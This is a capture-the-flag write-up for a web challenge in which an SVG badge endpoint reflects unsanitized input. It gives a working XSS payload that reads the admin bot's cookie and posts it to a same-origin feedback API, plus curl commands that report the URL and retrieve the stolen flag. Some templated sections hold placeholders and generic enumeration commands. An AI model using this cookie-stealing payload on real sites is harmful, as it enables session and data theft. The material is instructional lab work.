DesignPulse — Reflected XSS via SVG Badge Injection
DesignPulse — Reflected XSS via SVG Badge Injection
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: admin_bot_exploitation, honeypot_flag_identification, reflected_xss_in_svg_badge_endpoint, same_origin_exfiltration_via_unauthenticated_api, svg_script_injection_via_unsanitized_parameter
Summary
Task: Express/Node.js design platform with SVG badge generator that reflects unsanitized query parameters into SVG text elements; admin bot reviews reported URLs. Solution: Injected script tag via SVG badge name parameter, exfiltrated admin's non-HttpOnly flag cookie to unauthenticated feedback API endpoint.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260519_hackadvisor_designpulse - Tags: nodejs, xss, cookie_stealing, express, admin_bot, svg, reflected_xss, decoy_flag, same_origin_exfiltration, badge_injection
- Indicators: SVG badge endpoint reflecting user input into <text> elements, Content-Type: image/svg+xml enables script execution in SVG, Unauthenticated API endpoint usable as same-origin exfiltration channel, Admin bot visits reported URLs, Decoy flags in HTML comments and hidden divs
- Source:
20260519_hackadvisor_designpulse.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_exploitation
- Honeypot_flag_identification
- Reflected_xss_in_svg_badge_endpoint
- Same_origin_exfiltration_via_unauthenticated_api
- Svg_script_injection_via_unsanitized_parameter
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_exploitation
- honeypot_flag_identification
- reflected_xss_in_svg_badge_endpoint
- same_origin_exfiltration_via_unauthenticated_api
- svg_script_injection_via_unsanitized_parameter
- Tags: nodejs, xss, cookie_stealing, express, admin_bot, svg, reflected_xss, decoy_flag, same_origin_exfiltration, badge_injection
Original Writeup
<details><summary>Click to expand original content</summary>Description
DesignPulse is a collaborative design project management platform built for creative teams at Pulse Creative Inc. The application helps teams organize projects, track tasks through kanban boards, share design resources, and collaborate in real time. As a member of the design team, you have access to project boards, a shared resource library, team profiles, and personal notes. The platform also includes an embeddable project status badge system that generates SVG images for use in documentation and portfolios. An admin bot periodically reviews reported content links. Your goal is to find a way to compromise the admin's session and retrieve the flag.
English summary: A Node.js/Express design collaboration platform includes an SVG badge generator endpoint that reflects query parameters without sanitization. An admin bot visits URLs submitted through a report form. The goal is to steal the admin's flag cookie via XSS.
Credentials: user@test.com / password123
Analysis
Application Reconnaissance
After logging in, the application exposes several features:
- Dashboard with project overview
- Projects with kanban boards
- Resources — shared design resource library
- Team — team member profiles
- Notes — personal notes
- Feedback (
/api/feedback) — unauthenticated API accepting POST with{name, message, rating} - Report Content (
/report) — submits a URL for an admin bot to visit
SVG Badge Endpoint
Each project page includes an embeddable badge. The endpoint at /api/badge takes name and status query parameters and returns an SVG image with Content-Type: image/svg+xml:
GET /api/badge?name=Prism%20Design%20System&status=active
Response:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="28" viewBox="0 0 200 28"> <rect width="120" height="28" rx="4" fill="#555"/> <rect x="120" width="80" height="28" rx="4" fill="#22c55e"/> <rect x="120" width="4" height="28" fill="#22c55e"/> <text x="60" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle">Prism Design System</text> <text x="160" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle">active</text> </svg>
The name parameter is reflected directly into a <text> element without any sanitization or encoding. Since the response is served as image/svg+xml, the browser treats it as a full SVG document — and SVG supports <script> tags with JavaScript execution.
Key Constraints
- Session cookie (
connect.sid) is HttpOnly — cannot be read viadocument.cookie - Flag cookie (
flag) is NOT HttpOnly — readable viadocument.cookie - Admin bot cannot reach external URLs — no webhook.site, no attacker-controlled servers
/api/feedbackaccepts unauthenticated POST — perfect same-origin exfiltration channel- Decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) are planted in HTML comments and hidden divs throughout the application — these are honeypots for automated scanners
Solution
Step 1: Craft the XSS Payload
The payload closes the <text> tag, injects a <script> that reads document.cookie and POSTs it to the unauthenticated /api/feedback endpoint:
</text><script>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"xss",message:document.cookie,rating:5})})</script><text>
This is injected into the name parameter of the badge URL:
/api/badge?name=%3C/text%3E%3Cscript%3Efetch(%22/api/feedback%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({name:%22xss%22,message:document.cookie,rating:5})})%3C/script%3E%3Ctext%3E&status=active
The resulting SVG contains:
<text x="60" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle"></text>
<script>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"xss",message:document.cookie,rating:5})})</script>
<text></text>
Step 2: Report the Malicious URL to the Admin Bot
Submit the crafted badge URL through the /report endpoint so the admin bot navigates to it:
TARGET="https://f7649905-1046-4a07-a142-687ab0ac7473.labs.hackadvisor.io"
# Report the XSS badge URL to admin
curl -b "$COOKIE" -X POST "$TARGET/report" \
-d "url=/api/badge?name=%3C/text%3E%3Cscript%3Efetch(%22/api/feedback%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({name:%22xss%22,message:document.cookie,rating:5})})%3C/script%3E%3Ctext%3E&status=active"
Response: "Report submitted successfully. An administrator will review this link shortly."
Step 3: Retrieve the Exfiltrated Cookie
After ~10 seconds, the admin bot visits the SVG URL. The injected script executes in the SVG document context, reads document.cookie, and POSTs it to /api/feedback. Retrieve it:
curl -s "$TARGET/api/feedback" | python3 -m json.tool
{
"id": "39657aa2-8847-40c6-abf5-5b1c13c8668d",
"name": "xss",
"message": "flag=FLAG{REDACTED}",
"rating": 5,
"created_at": "2026-05-19T04:36:25.313Z"
}
The admin's flag cookie was successfully exfiltrated.
Dead Ends
| Approach | Why It Failed |
|---|---|
| External webhook exfiltration (webhook.site, Burp Collaborator) | Admin bot cannot reach external URLs — network-isolated |
Stealing connect.sid session cookie | Marked HttpOnly — not accessible via document.cookie |
Decoy flags in HTML source (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) | Honeypot flags planted for automated scanners |
| |
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR